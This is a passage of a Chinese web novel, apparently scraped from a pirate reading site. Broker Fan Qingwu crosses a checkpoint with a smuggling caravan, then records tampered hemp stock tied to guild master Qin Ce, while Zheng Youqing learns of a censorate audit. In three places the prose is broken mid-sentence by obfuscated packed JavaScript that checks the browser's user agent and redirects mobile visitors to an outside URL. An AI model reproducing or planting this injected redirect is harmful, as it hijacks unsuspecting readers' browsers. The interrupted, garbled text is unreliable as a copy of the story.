许寻：“夜行且带着训练有素的护卫，首领乔装成马夫。” 首领呵呵笑：“看来以后得改进下了。” 灰商，说白了，就是非法商队。 范清梧不再作声，一边缩着脖子想让身子暖和点，一边听许寻和这位首领平和的聊天。 范清梧暗暗佩服许寻。 她长期在路上习得圆滑的技巧，两人有说有笑，就把各自的信息交换的差不多了。 这支商队本身的货是平常日用品，这也是为什么范清梧看过货并没觉得可疑。 而他们之所以非法，不过是要给那些长期不服朝廷的地方，中立村落送物资。百姓在势力博弈间困苦求生，他们走这行也是为自己为家人。 商队大多数人都是来自这些村落，为了给家里送点东西，冒着没有路引的风险长期在外。而他们家人，也不是说要离开村子，就能轻而易举离开的。 这位首领一路上捡到不少这样的流民，因为规矩严苛，倒没人敢乱来。 “毕竟只是家里人等着用度，盘查偶尔会放过我们，但也不会次次如此，”首领缓声道，合着哒哒的马蹄声，就像在讲故事，“如果你们的路引能替我们挡挡，那便是恩同再造，我等必将没齿不忘。” “同是夜行，你怎么知道，我们就有路引了？”范清梧插进了对话。 “你们桶里的东西，大概是桐油一类不易存储的货物，走夜路，也是冒险赶时间。”首领眼神温和地看着范清梧，“除了你，这两位车夫，估计都是武行出身吧。姑娘这么会说话，应该是走过镖。” 许寻嬉笑应道，另一只手却偷偷摸向腰后，“妄我乔装一番，被您看出来了。” “彼此彼此。”首领含笑，低了低头。 “盘查还有多久到，我能考虑一下吗？”范清梧又问。 “还有一里路。”首领说罢一扬缰绳，“那我稍后再来。” 他乘着马小跑而去。 “难怪我看不清。” 等首领走后，范清梧拿出自己的小酒袋，吞下已经没什么味儿的姜片，仰脸喝了好几口，完了还递给许寻：“暖暖？” 许寻接过，喝完打了个哆嗦，问道：“看不清什么？” “未来。” 范清梧等着酒劲，琢磨着该如何措辞。 天边已经有些渐亮，这一夜从山谷到山脊，队伍也慢慢开始往山下走。 另一边的山谷中，石坪村躺在那，只有零星的灯火闪烁，整个村子依然在睡梦中。 范清梧望不见盘查关卡在什么地方，她又回头望了望，商队把后面裹得严严实实，他们的灯笼照不见队尾之外的危险。 “寻，其实我早该跟你说，你知道我为什么算得准吗？”范清梧看着前面的货物眨了眨眼睛，“因为我能看见未来的某种线索。” 酒精让范清梧变得有些分不清方向，她牢牢握着马车边，害怕自己会掉下去。 乱码的数字变幻着，展示出了数种可能发生的未来。 无价，正价，低价。 也许就是查抄，买卖，和逃难。 这次，范清梧的选择将决定这些价格的走势。 “我就觉得你神神秘秘，原来是神仙附体。”许寻不知道是不是在开玩笑，话里掺着笑声。 “……倒……也不是。” 范清梧跟着马车晃晃悠悠，许寻一手搭在她胳膊上，扶住了她。 “你信了？”范清梧问。 “你说什么我都信。”许寻看着前方，嘴角抬起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351395|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队伍慢慢停了下来，首领也再次回到了范清梧的马车旁。 “我们停在盘查前，有人先去打听了，姑娘们，考虑好了吗？” “让我们打头吧。”范清梧说道。 至于帮不帮，她不想明说。 范清梧是同情这支商队的，但她的路引也不能冒着被污染的风险，她还有事要做，不能有任何令人生疑的地方。 尤其是这趟回去后，她想要接近秦策。 许寻驾着马车穿过商队，走在了最前方。 范清梧看见了那个道路尽头临时搭建的小木屋，而远处的天际线此刻已经落了些粉白。 “你不问我怎么打算么？”范清梧悄声问许寻。 许寻摇摇头，只是盯着即将出现的朝霞眯着眼睛笑，半晌，她说道：“我想季杭了。” 她们和首领一道在盘查口停下。 官兵们睡眼惺忪，打着哈欠。 其中一个人朝他们走来，范清梧依然犯着晕乎，她慢慢起身，在首领的注视下，缓缓爬下马车。 首领皱眉：“你……喝酒了？” 范清梧面无表情的点点头：“我现在有点想吐。” 范清梧靠着马车喘了口气，官兵几乎要走到眼前。 首领抓紧时间劝说范清梧，范清梧只是敷衍地点点头，准备接受官兵的问话。 忽然后方传来一阵马匹嘶鸣，哒哒的马蹄声飞快接近，人群发出一阵惊呼，前方的官兵也瞬间醒了神，站定做出了防御姿态。 “等等。”一道洪亮有力的声音破空而来。 一匹黑色骏马在范清梧和官兵之间刹住，上面是人在徐徐天光下，终于让范清梧看清了面容。 范清梧转头朝许寻无声地喊道：是刚才跟着我们的人？ 许寻脸上似笑非笑，盯着那人，没看见范清梧的哑语。 “曹，曹镖头？”为首的官兵先行认出了来人。 范清梧扶着马车，疑惑地盯着许寻寻求解释，许寻显然是知道这个人的。 “是曹修。”许寻这才俯身道，“向林城最强镖头。” 曹修在她们前面，制着左右晃动的马匹，朝官兵喊道：“这支商队我兜着，放行吧。” 官兵朝他行了礼，“行，听您的，我们也省事。” 手一挥，前方关卡打开了。 曹修策马回头，目光在范清梧身上停留了一会儿，便喝了一声驾，绝尘而去。只留下一泡飞沙，迷得范清梧咳嗽半天。 “他刚才，是不是在看你？”许寻不确定地问范清梧。 “大概是吧……” “你认识他？” 范清梧摇头。 官兵照例查看了货品，不存在违禁品也就摆摆手让商队走了。 路过听到他们懒洋洋地嗔道：“千万别查出什么，等着更替回家呢。” 通过了关卡，天也大亮了。 首领骑着马行在范清梧旁，准备分别，他道：“如果没有刚才那个人，你本是要去登记的，对吗？” 范清梧搓了搓冻红的鼻头，“我不能和你们产生联系。” 首领静了一会儿，点头道：“我明白了。” 他溜着马转了一圈，一边离开一边喊道：“之后的路，你们就自己走吧。” 他对范清梧下了逐客令。 10. 入瓮 太阳从山林的一角冒出了头，霞光染红了天空。 范清梧看石坪村近在咫尺，干脆决定在这里歇会儿脚。 商队离开得很快，等许寻生好火，范清梧把吃食放上去，再抬头时，已经见不到影子了。 “要睡会儿吗？”范清梧问围坐在火堆旁的两位镖师，“我已经睡过了。” 许寻来回望了望路，思索了一会儿朝程墨比划了一下，才对范清梧说道：“那我们睡会儿，太阳到那，就叫醒我们。” 范清梧看着许寻指的山尖，点了点头。 两人很快就裹着毯子发出轻轻鼾声。 接下来的路，便十分顺利了。 只是随着日升，车马渐多，范清梧几人下午才抵达村子。 找到工坊，核对，验货。损耗在一成内，坊主欣然结了账。 三人在村里饱餐了一顿，住了一宿，才又驾着空马车，从官道回城。 除了不再心惊胆颤，和来时别无两样。 回城后，范清梧去商号结单。 管事见范清梧拿着完成的契书出现，颇为惊喜地拉着她躲在清净的一角。 “我还以为，你搞不定呢。”他指尖挑着一边的八字胡，低头查看着范清梧给她的契书。 “说好的，你帮我引荐？” “……嗯，仅仅这一单还……”他抬头，小眼睛里闪过一丝狡诈，“范老板要是常接这样的活，我再帮您引荐给会长，也不成话下。” 范清梧身子稍稍往后撤了一点，“您是想让我长期帮你们收拾烂摊子呢？” “也不能这么说，您要是真本事，东家会看到的。” “可惜我的名字都不在上面。” 管事收起契书，轻咳一声正了正身形，“下一单，我们签正式的文书。” 范清梧：“你说的算话吗？” 管事抿了抿嘴，胡子翘来翘去，因为范清梧一语道破，他似乎没了话。 “行，我得看了下一个单子再说。”范清梧给了他个台阶。 事实上，两人立场已然发生了转变。 范清梧又不是没打过工，她做的单子，其实就是这位管事难以解决的差事。 做成了，他得名利，做损了，他挨骂扣月钱。 范清梧不过是从他转包的单子，有利润吃点利润，没利润，便找他要资格。 现在她摆明了要进去。 “……您知道，商会成员审核严苛，像你这样光做牙行的，还真没有，”管事似乎在认真考虑，“换个行当，我也许可以跟东家提提。” “你不怕你的东家，发现你把差事都转给我了？” “只要单子能按要求成交，才不管是什么方法哩。”管事摇头，“我能找到您，也是我的本事。” 范清梧哼笑一声，接过管事递来的尾款，作揖道别。 她没有去铺子，径直回了家。 第一次远行实在有点吃不消，范清梧直接又是一觉，睡到第二天大亮。 她不慌不忙的收拾好，才步行去到了时价商铺，在邻家吃饭。 没想店老板直接跟她搭上了话。 “这几天，你没开张，来的人可多了。”她趁着这时人不多，坐在范清梧对面，“你跟郑会长是不是有来往，我看他经常停在你那，看几眼就骑着马走了。” “跟他合作过一单。” “那就是了，估摸着他今天还回来吧。”老板见范清梧抬头，又才拍着胸脯自我介绍道，“我叫田绣宁，你以后要有事不在，我可以帮忙看着。” “田老板？”范清梧试着称呼了一声，对方满意地点了点头，“好，谢谢您，您这儿真好吃，我喜欢这个小甜饼。” “杏仁酥，就属我家手艺最好。”田绣宁一手搭着桌子，骄傲地挺了挺胸，“那您慢用，有需要叫我。” 吃过饭，范清梧舒适地揉了揉肚子，才懒懒散散地到旁边开门去。 待她把招牌搬出去，已经有人等着了。 她就这么陆陆续续看了几个单子，空档间给自己泡了壶茶。 范清梧喜欢这样助人的成就感，偶尔会有自己是救世主的错觉，但她一旦看见桌上的那个酒壶，就会记起自己的无能为力。 她偶尔会想象季杭坐在那里，拿起酒壶，摇晃着斟上一杯。窗外雪白的梨花会被风吹落，掉几片在桌上，在杯中。 范清梧的思绪被一声轻咳打断，她站在窗前，一手端着茶杯，无意识转头，视线被缕缕热气模糊了一瞬。 她本以为来的是郑佑卿，结果罩袍一摘，转身过来的是小眼睛管事。 “……刘管事，这么快选好我的差事了？” “春货盘点，新年新气象嘛。”管事走近，递上厚厚一塌纸。 范清梧放下茶杯，盯着那叠悬在空中的纸，硬着头皮接下。 翻看途中，管事随口补充着一些细节。 范清梧第一眼就是去看货目，把看到的价格誊在她自己的小本子里。 价格正常且稳定，也就没有利用波动博弈的空间。 她用自己的记号把这个结论批注在页脚下，开始扫这些契书的条款。 范清梧即使做了几年牙行，也依然不适应这些古人文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351396|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绉绉的笔墨。她脑子一边费劲翻译成白话，一边向正背着手惬意参观的管事提问。 “这条什么意思，这批货卖出前责任都在我这儿？” “这不是惯例吗，责任在最后碰过单子的人。”管事连头都没回一下。 “惯例？商会的惯例吧。”范清梧有些不快。 “那您可得适应咯，想加入商会，难着呢。”管事无所谓的语气又让范清梧的火气冲了三冲。 范清梧摊开货源文书，里面标注着每批货的工坊，入库时间。 范清梧越看越觉得这些账目过于干净，没有一点失误，一点意外。 就像是从结果倒着整理，凭空捏出的开头。 范清梧抬头看着刘管事背影，思绪漫开。 干净，意味着所有在这个账目上的名字，都是合规的，并且到她为止。 若她接下这单，她的名字会随着事情发展，被随意书写。 管事知道他拿来找她的，是这种东西吗？ 他到底是被系统麻痹了，还是系统的帮凶？ 范清梧看着他那闲适样，哼着小调把玩着柜子上的小狗木雕，摇了摇头。 大概只是找到了自己这个完美外包，心里还在快活傻乐吧。 “你真的有本事引荐我？”范清梧忍不住问了一句。 她干嘛放着郑佑卿不用，跑来跳到这个无名小卒的火坑里。 也许这个坑，本来是为他准备的。 刘管事被突如其来的质问吓了一跳，手里的小狗尾巴被他扯住朝下，和他本人一样，变成一副怂兮兮的可怜相。 但刘管事马上就恢复了正常神态，他放下小狗，挺了挺胸。 “范老板放一万个心。” 范清梧不再信他了，不过，她的名字出现在商会的账上，倒也不错。 “我只要你保证一件事。”范清梧语气平缓。 “您说？” “这是秦策的货，我没看错，对吧？” “对，苎麻加工好的净麻。” “下一步，就能直接纺纱织布？” “嗯。” “你懂货吗？” “还成。” “那之后，我会让你带我朋友验验。” “这白纸黑字，范老板害怕出问题不成？” “只要没结的单，都不会让人放一万个心。” 管事尴尬地支吾一阵，才眯着眼睛皱眉走近，悄默声地问：“您觉得有问题？” 范清梧轻叹一口气。 “我换个说法吧，”她抬头道，“你希望我救你吗？” 11. 春货 送走了变成发抖小狗的管事，范清梧掐着能在宵禁前回家的时间，关了铺子。 她对于自己竟然想等到郑佑卿这点，显得有些意外，暗自笑出了声。 回到家中，她给窗边的酒杯重新斟满，又给香炉燃上根新香，看着黑夜中渐渐升起的一轮弯月，默默在心中说着：快了。 之后的日子，因为各行各业都要备春货。不光是范清梧，许寻江漪都有各自要忙的事。范清梧拜托江漪跟着刘管事帮她把了把关，道谢后便再没聚过。 就算确认了秦策的东西没问题，范清梧也不敢有一丝松懈。 管事送来的单子走得很顺，范清梧也依然，谨慎记录了所有的交接节点。 上下游配合顺畅，城内有各自的跑腿，城外送货的镖队也十分老练。 这些单子被范清梧拆成几段，几乎不用再过多的计算。刘管事见这流程不错，就抄了回去，不一会儿，临近的商号便都照这样子复制了起来。 大家熟悉了之后，范清梧手里的单子仿佛自动跑了起来。 每天有人来送单子，也有人来拿单子。 范清梧只是记录，签字，最后在夜里，一齐审视这一天的流转。 她只注意到，除了货主越来越分散，批次越来越细碎，路径也越来越复杂。 各色的货品，小到粗布、稻米，大到丝绸、香料，应有尽有。 范清梧不知道的是，她的名字也在商会间广为流传，不是因为她行事，而是因为她会在契书上签字。 刘管事没告诉周围人自己的活儿找了她帮忙，但依然会在同僚说起她时，附和一二。 “时价商铺的小老板，很好用，钱帐书文，样样齐全。” “如果有事儿找来，也可以把她推出去，是吧？” “你们这也太不爷们了。”刘管事无心戏谑道。 他们没停下手里的工作，偶间谈到趣事会发出一阵大笑。商号里书写声脚步声，各有各的忙，但笑声却突然收敛了些。 刘管事抬头，见秦策领着郑佑卿，踏进了自家商号的大门。 堂内嘈杂变成细语，郑佑卿和秦策并排走着，身后跟着两人的师爷。他听着秦策老生常谈的春季市场，思绪却早就飘到千里之外。 前些日子不忙的时候，他总算查清了范清梧的背景，一切的起点，都源自她好友的亡故。 范清梧大概把这件事归咎于商会，于是找上了他的麻烦。 郑佑卿知道，有些时候会发生一些他也不愿见到的事，被货价债务压死的小商，几乎每天都有。他不可能从这套制度中，打断流程，打破规矩，去拉起一个素不相识的人。 就在他看完商会中备查的那些有关季杭契书单据，才听闻范清梧接了个送货单，也没想她立刻就赶着宵禁前，走了夜路出去。 这突然让郑佑卿心中惭愧无处安放。 他怕夜路强盗出没，就立刻找了刚押送粗布回来的曹修，让他找人帮忙跟着。 郑佑卿佯作随口一提，没想曹修是个热心肠，亲自跑了出去，又带着平安无事的好消息回来。 “我看她差点和灰商混到一起，拦住了盘查。” 曹修自认是做了好事。 郑佑卿也只好替范清梧谢谢他。 “这回能说了吧？”曹修见状，悄咪咪地凑到郑佑卿耳旁，“怎么，是个牙行老板？” “你别乱猜，只是欠她的账，还她罢了。” “放心，我不乱说。” 郑佑卿没忍住，白了一眼正拍着他肩膀嬉笑的大汉。 没想到曹修看着粗犷没心肺，心思却如此喜闻闲事。 “……郑会长？” 郑佑卿神游在外，终于被秦策发现了。 “这是你第一年备春货，可得上点心啊。”见郑佑卿眼神重新聚焦，秦策无奈地叹了口气。 郑佑卿也不说话，只是重新观察起这间商号，他们已经走到了后院仓库。 也是郑佑卿要求要看看货品。 这里存放的，都是苎麻加工好的净麻。 麻株成熟收割后，经过剥皮，浸泡，脱胶，晾晒，再进行初选。 这一步如果好次混在了一起，之后就再没办法追溯到田地。 秦策经常明目张胆地把次品混在好品中，给自己牟利，让下游蒙损。而城里的麻田，又数秦策最大。 为了迎新年备春货，但凡是有点规模的布庄，都免不了要买秦策的春麻。 郑佑卿父亲在世时，秦策的事迹早就被念得耳朵起茧。 他担心今年父亲不在后，秦策会干出更离谱的事，便留了个心思。 没想秦策大大方方答应了他的要求，还跟他一同前来。 院子左侧，一间仓库正开着门，仓吏进进出出，里面有模糊的身影在阴影下忙碌。 郑佑卿抬脚往那走了去，本想往另一个方向的秦策，也只好跟上。 郑佑卿没想到会在这里见到范清梧。 他一晃神，好像看见了当初她在自己布庄里，选布的样子。 她还懂净麻？ 郑佑卿又想起她的好友是织坊主，便在门口止步，轻轻抬手，示意身后紧跟的师爷停下。 范清梧正仔细和仓吏确认账目，品级，她没注意到郑佑卿的到来。倒是秦策站着看了会儿，主动走上前去。 “这里都对吧？”秦策温和地问道。 仓吏一见秦策，赶忙弯腰行礼。 范清梧听见秦会长的称呼，脸色不自然地冷了下来。 她看见更后面的郑佑卿，冷眼扫过后，低头看着手中的小册子。 “这里的标换过。”范清梧打断了仓吏的谄媚，没给话里留任何余地，她仍旧低着头，“号商不让打开检查，所以我得记下一笔。” “您是？”秦策问道。 “这次的替名履约人。” 秦策立刻明白了，他眼神暗了暗。 “替名履约？”郑佑卿问道，“不是不让做了吗？” “春货繁忙，郑会长，咱自己人手办不完事儿，只能找人帮帮忙。” 仓吏读懂了秦策的眼神，赶忙解释道。 范清梧仍没抬头往这边正眼看一下，郑佑卿有些恼，他觉得范清梧似乎把他，划到了她的对立面。 但他明明道过歉了。 “春货嘛，名义上都得用新的，标当然要换，姑娘可是第一次接春货？”秦策转身走向仓中扎好的净麻，伸手摸了摸，“谨慎细心是好事，我一会儿让这里东家给你加些银钱，敬表谢意。” 说完，秦策回头，笑眯眯地朝范清梧点了点头。 范清梧这才抬头看着秦策，皮笑肉不笑地回道：“应该的，多谢秦会长。” “郑会长，我们去另一边看看？” 郑佑卿看着视线再次掠过他的范清梧，心中不快，只好一震袖子，应着秦策的话，转身第一个跨出了仓门。 范清梧经过江漪的教导，一看就知道这些货做了什么手脚。 她眼里浮动的价格参差不齐，定是好麻里卷着次品。纵使没办法打开扎好的麻细看，她也猜到里面是什么德行。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351397|199608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但她不能明目张胆地写上：好次混杂。 只能记上一笔：未得商号同意，货品只可外观，替名履约人不对本批质量负责。 末了，她拿着记录找仓吏签字，他虽然不情愿，但也只能照收货规矩，摁上手印。 范清梧揣好了这本记满货号，留着仓吏手印的小册子。 这个习惯，成了她今后的安身之本。 …… 郑佑卿和秦策看完了每个仓库，有些是师爷代他查看，有些是他亲自上手搓了搓。净麻他还是略知一二，长度，色泽，脆断程度。新麻和陈货所能制出的布匹，完全是两种品级。 但郑佑卿心里清楚，他的地位还没稳固到能当着秦策的面指摘他。 只能在之后挑选的步骤上费点心思了。 秦策摆明了要把自己的损失，压在他郑佑卿头上。 “新年商会给梁老的贺礼，有什么打算？”秦策问郑佑卿。 “挑了上好的丝绸，也没别的可送了。” 秦策摇摇头，“这可是商会的名，把转运使打点好，今后行事也方便。你爹当家时，可没这么敷衍。” 郑佑卿心里白眼翻上了天，转脸见范清梧从仓库里出来，穿过院子，似乎要离开。 他再也撑不住和秦策这个老家伙慢腾腾地查验，便找了个借口，迅速地走完流程，就把收尾都交给了师爷。 走的时候，师爷面色凝重道：“东家，会里还有好些批文没签。” 郑佑卿点头敷衍了下，便调转马头，策马走掉了。 可惜，范清梧似乎没有回到自己的铺子。 郑佑卿看着大门紧闭的时价商铺，突然觉得自己可笑。 他再过来见她一面，又能说什么呢？ 他骑着马，慢慢往回走，从商会会馆，穿过闹市，穿过人流和往来车马，走上流水哗响的拱桥，最后才在一阵梨花香中，走到了自己宅院门口。 马蹄轻轻叩着地面，哒哒哒的回响。 郑佑卿深吸了一口气，花香满腔，才翻身下马。 风吹过，梨花飘下落了他一肩，他摘下一些，散向空中，它们浮游了短暂地一瞬，便落在了地上，之后，就会被踩踏成泥，找不见一点痕迹。 郑佑卿看了看满地白花，又朝远方望着，他听到一阵疾驰的马蹄声由远及近。 人影渐渐显露出来，郑佑卿有些诧异。 “师爷……怎么了？”他抬头问道。 “东……家，”师爷趴在马背上，喘了半天气，才道：“你知道后来谁来了吗？” 郑佑卿皱眉，“我怎么会知道？” “都察院的人，过来带走了一些账目，”他歇了口气，接着说，“不止商号，还到会馆去查过了。” 郑佑卿心中陡然一沉：“他们要干什么？” “就是不知道，我才赶紧回来。” “……我们给梁老送的丝绸，送到了吗？” “应该已经上路了。” 郑佑卿抱手摩挲着下巴，回想刚才秦策提到梁老的用意。 他在暗示我什么吗？ “领头的，是不是那个新来的都御史？” “对，就是他。” 郑佑卿就这么站在风中，冥思良久。 “丝绸报了礼单，合规矩。但这个都御史……目标应该不在我们，是梁老……转运使梁宏道。” 师爷满面愁容，栓好了两匹马，跟着郑佑卿走进宅院。 “但搞不好的话……我们会陪葬。” 郑佑卿做出了判断。